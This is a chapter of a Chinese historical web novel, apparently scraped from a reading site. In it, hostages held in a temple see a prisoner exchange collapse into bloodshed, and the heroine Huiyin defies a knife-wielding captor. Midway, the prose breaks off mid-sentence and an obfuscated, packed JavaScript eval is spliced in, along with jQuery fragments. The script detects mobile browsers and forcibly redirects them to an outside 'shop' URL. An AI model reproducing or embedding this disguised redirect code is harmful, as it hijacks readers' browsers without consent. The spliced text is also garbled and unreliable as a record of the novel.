默认冷灰
24号文字
方正启体

32. 被动

作者:堇十五本书字数:K更新时间:
    寺里也做了安排,十人一支,被人押着站在距离朱门一箭外的青砖地。


    雨水冲刷过她们身体,像是过年杀猪前的清洗。而她们也如那板上肉,等着一块块,一个个,拿去交换。


    不同点在,肉,是拿去换物;而她们,是拿去换人。


    但总归也逃不出听人吩咐、任人宰割的被动局面。


    那时在木寨,徽音与赵闳也这样被动,只能等着顾懋如天神般降临,将他们救下。


    就像此刻,她们一群人,等着赵彦昶口中的顾懋,快些将她们质换出去。


    翘首以盼中,血红色的大门终于慢慢地拉开了。


    顾懋站在门外,一身茶白的蚕棉素袍,配着其身后刀疤脸缉甲上铜钉映出的光,以及周遭密雨拍出的雾,烟气飘飘,金光闪闪,还真有那么几分像是从天上降下来的神佛。


    可神佛也不是谁都救,尤其是沾了人气的,要讲利益。


    当年就不知几方人,几处势力暗许了顾懋什么好处,导致她与赵闳盼想的解救场面没有来,取而代之的,是万箭齐发。


    挡在身前的护卫死了,司籍局的宫女也死了,一把火,还烧尽了他们所有苦寻来的证据。而赵闳,更是没能从牢狱里出来。


    顾懋不知从何处造了假的人证,假的物证,坐实了他勾结江嫔谋害皇上的罪,使其贬为庶人,囚去了孤山。


    所以,当听到人群里不知谁喊了句“先换孩童出去”的提议时,徽音眼前又浮出了那时血腥——他们当时也是欲紧着先送藏了证据的小宫女出去。


    眼眸狠狠地瑟缩了一下。


    不要!徽音心想。


    不只是想,她也发了声阻止。


    然而喉头却给摻了雨的苦痛记忆泡发了,拼尽力气也只能吼出一道嘶哑。


    她又伸了手去拦。


    却被误以为是自私,要抢小孩子的生机。于是乎,千抓百挠,又有更多的人来阻她。


    再然后——


    没有了然后。


    谩骂讨伐声中混进了尖叫,待大家看清寻出缘由,寺外又“咻咻”飞进了几支箭羽。


    孩童应声倒地。


    “啊——”


    这下惊叫更为清晰地窜开,一声盖过一声,一喊迭过一喊,而那扇好不容易打开的生门,也在妇孺绝望的视线中,重重关上。


    “没救了……”


    林葇受了打击,反复呢喃。比起赵彦昶一伙换质失败生出的怒,她们这群等着别人来救的,却只能生出无限悲伤。


    原来外面的不愿换人。


    原来外面的不愿救人。


    原来,她们真只能等死……


    现在失魂的成了林葇。她被徽音牵着,被黄清雨推着,呆呆木木地随着队伍,又被赵彦昶的人原路押往柴房。


    也有人不甘心,欲冲去寺外,可是都没跑几步,又立马被擒住,砍死在刀下。


    “好啊。”徐明的怒意有了倾泻处:“既然这么想死,那老子就成全你们。”


    手起刀落,地上又躺倒几具尸体。


    妇孺们悚惧,皆如吓僵的鸡仔,蹲缩抱团。


    “可以了。”赵彦昶打断。


    但徐明已杀红了眼,止不住。


    “徐狗剩!”赵彦昶又喝了他幼时诨名,对方这才堪堪停下。


    没了发泄,徐明想砸手里刀,可胳膊扬了几下,最终还是没能舍得。


    这柄横刀,是他师父留给他的最后一件东西。


    说是师父,其实也不是。毕竟赵挐这位泰启帝最小也最叛逆的儿子,其一生都在诗酒轻狂,潇洒无束。


    若非当年天子巡狩,年仅十二的赵彦昶舍命救出兽口中的顺宗,因而改国姓成了赵挐义子,他也不会跟着识了这位一生未娶、被世人批作离经叛道的主,也没机会在后来死皮赖脸缠着叫他师父,要跟他学钓鱼之技巧。


    见徐明盯着横刀出神,赵彦昶也想起了赵挐。


    对于这个没生他也没怎么养过他的名义上的父亲,赵彦昶的心情,十分复杂。


    要说没后悔过救顺宗,那是假话。不然在魏屿讽他改了贵姓却无贵命的时候,他也不会那般激愤了。


    毕竟从军的都知道,他迟迟升不上去,也全因有个王爷爹。建宁帝怕他军权过重,会生出旁心,于是有背景也成了无背景,有人脉也成了无人脉。


    可要说后悔,他也不是一直都后悔。


    尤其是在得知赵挐承旨后便日以继夜地照料他重伤的那一日,在与之吵闹生活的那一年,以及……在对方垂危的那一刻。


    建宁二十三年二月,也就是赵挐坠马后的第二个月,更是父子俩没见的第一百二十二个月。


    彼时,惯爱逍遥的小王爷已成了不能再逍遥的老王爷。因触地时碰了脑,患了中风,赵挐右侧瘫,指不能伸,话不能清,行动皆由壮奴扛,言语也得靠旁人猜。


    可就是这样一个言行不能的人,最后竟在病榻上抖着手,写完了那封替赵彦昶求升副总兵的授官折子。


    自然,也是赵挐留给赵彦昶的最后一件东西。


    徐明把横刀换到了左手,右指腹细细摩挲着刀柄上缠着的蒯缑。这蒯布本是用来防滑的,可经了数百日血水浸泡,如今又黏又瓤。但他仍不舍得换——只因这布条,是赵挐生前亲手帮他缠的。


    当初写完折子后,赵挐便消失了。


    有人说他治好了,又去浪游天下了;也有人说他去找山僧道士了,跟着羽化升.天了;然而只有徐明与赵彦昶知道,他是真的死了,骸骨融土,血肉化风,成了他最喜的逍遥鹤了。


    落寞泪滴进油锅,蹦炸得人心的激愤愈加翻滚。


    “四哥。”徐明喊赵彦昶:“我咽不下这口气。”


    咽不下赵挐为他们求来的前程就这样竹篮打水,付诸东流;也咽不下方才被顾懋摆了一道,救不出弟兄。


    可谁又能咽下?


    赵彦昶自己也咽不下。


    找顾懋立约是他的主意。他听惯了说一不二的军令,以为约好的事就不该有变故,且顾懋还是顾衡远儿子,怎么着也该承了那人几分正直。


    然而不想好竹出歹笋,顾衡远那般高风亮节的人居然也生了个奸诈善变的子,竟趁他们不备,暗让弓手藏在了树梢。


    箭矢都是冲他飞的,可他要活,只能抓了身边的孩童胡乱来挡。


    想起方才,赵彦昶脸色灰黯,仍觉手背溅着鲜血,黏腻得烫人。


    “能救的。”许久后,他出声,拍上徐明肩膀,不知是在安慰对方,还是在安慰自己。


    但徐明不愿信:“怎么救?”他愤懑:“难不成还要去换人?四哥你刚才没瞧见?那姓顾的龟.孙子就是想寻个开门的机会,好拿了我们脖子上的人头去邀功!这些被抓来的,他根本一点儿都不顾惜!”


    “那能怎么办?”赵彦昶也大声:“总要想法子让他们顾惜!”


    徐明抿上唇,没说了。


    赵彦昶也垂着头,思索着此后对策。


    沉默僵续,不久后,一留守山门的士卒跑来传话:“外面姓顾的说要与四哥再谈。”


    徐明仍在气头,满口囔着“谈什么谈”。


    赵彦昶情绪倒是稳,但也没立马过去。“你只管与他说。”他道:“我还是先前那意思。”


    士卒收到信息,欲走。


    赵彦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353283|199653||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    昶又将人叫住:“你再带几个一并过去。”他下巴点了点徽音这群被绑着的。


    “你就与他说,我现在躁得很,没耐心,只给他一炷香考虑。要时间到了,他仍没主意,你就当着外面的人,在墙头杀掉一个,什么时候他考虑清楚了,不耍花招了,再停下。”


    说完,他朝着庄祘那间严加看管的灶房去了;挑人的任务,落到了徐明头上。


    他视线冰冷,一点点、一寸寸扫过抖如筛糠的妇幼,像极了地府点卯的阎.王。


    只是这阎.王,与沾了人气的神佛一样,都要衡利益。


    王府的宠妾不敢碰,书院的黄家亦不敢拉,最后挑来拣去,选了两个地方上叫不上名号的穷书生夫人,以及先前那个,穿得褴褛、徽音给了蒸馍的小姑娘。


    黄清雨逃过一截,庆幸混着粗气重重呼出,生怕徐明改了主意,还用手将人往外推了推。


    只是没能推动。


    小姑娘.的左手被徽音死死捉着。


    “你做什么?”她低斥。


    徽音没给反应。


    徐明察觉,也拿了刀鞘来劈,仍没松动。


    他气急,巴掌与威胁一并落下:“你莫不是也想赶着去死!”


    徽音肿了脸,但手还是没松。就连雨水带来的湿滑都拦不住她。松了再扣,脱了再抓,五根馥白指头因过力而变得透明,像极了黄发的垂髫在捍卫糖果。


    然而徽音不是孩童,捍卫的也不是糖果。她紧紧要抓住的,是解药,是那个能带她逃离前世梦魇的解药。


    作为当事人,小姑娘.的感受也更为明显。


    不只是现下,早在箭羽飞来的那一刻,其实徽音就已捉住了她,护住了她。


    这种保护于小姑娘而言太过陌生,在家里,她才是那个被分配了要护住弟弟妹妹任务的人。


    虽然——


    这位年岁不大的姐姐叫错了名。


    虽然——


    她的名字不叫映枝,叫阿枝……


    但手心传来的另一个人的温度,依旧熨暖了她被雨水拍冷的心。


    徽音抗争着,余光对上阿枝视线,以为她是生了怕,俯身与她安抚:“别担心,这次我一定救你出去。”


    这番相亲相爱的场面,徐明不想看,三言两语拍了板。


    “好,你既不愿松,那也跟着一起去前头!”


    “你敢!”一直失心的林葇起了身。


    不知是受徽音影响,还是也看出了徐明的挑人心思,她不再坐以待毙,搬了林恪出来给自己打气助威:“我大伯也就是她大舅,是礼部的人。若要我们今天有个好歹,定不会让你……”


    话没完,徐明铮亮的刀已按上了徽音细长的脖。


    “你说老子敢不敢!”


    他呸出一声,不屑道:“别在老子跟前拿身份压人。老子现在就是个光脚的,别说礼部了,就是他皇帝老儿来了,老子急眼了,照样杀!”


    林葇被他乍现的狠戾震住,闭了嘴,怕真激了狗急跳墙,伤了徽音。


    可徽音却没停,咯咯地笑出声。


    徐明拧眉,问:“你笑什么?”


    徽音:“笑你说大话也不怕被风闪了舌。”要真这般不管不顾,他们又何须在这里僵持。


    徐明脸皮遭揭,怒意发酵成杀意,手一转,刀刃就割进了徽音肉里。红血顺着刀身流下,刺目,腥鼻。


    但徽音脸上笑意仍未减,好似不觉疼。


    见没起效果,徐明粗眉拧得更紧,手上刀也更加用力,然而在移了一毫、听清了徽音的嘴里话后,他又立马停住——


    只因他听见她说:“杀了我,你们可逃不出去。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)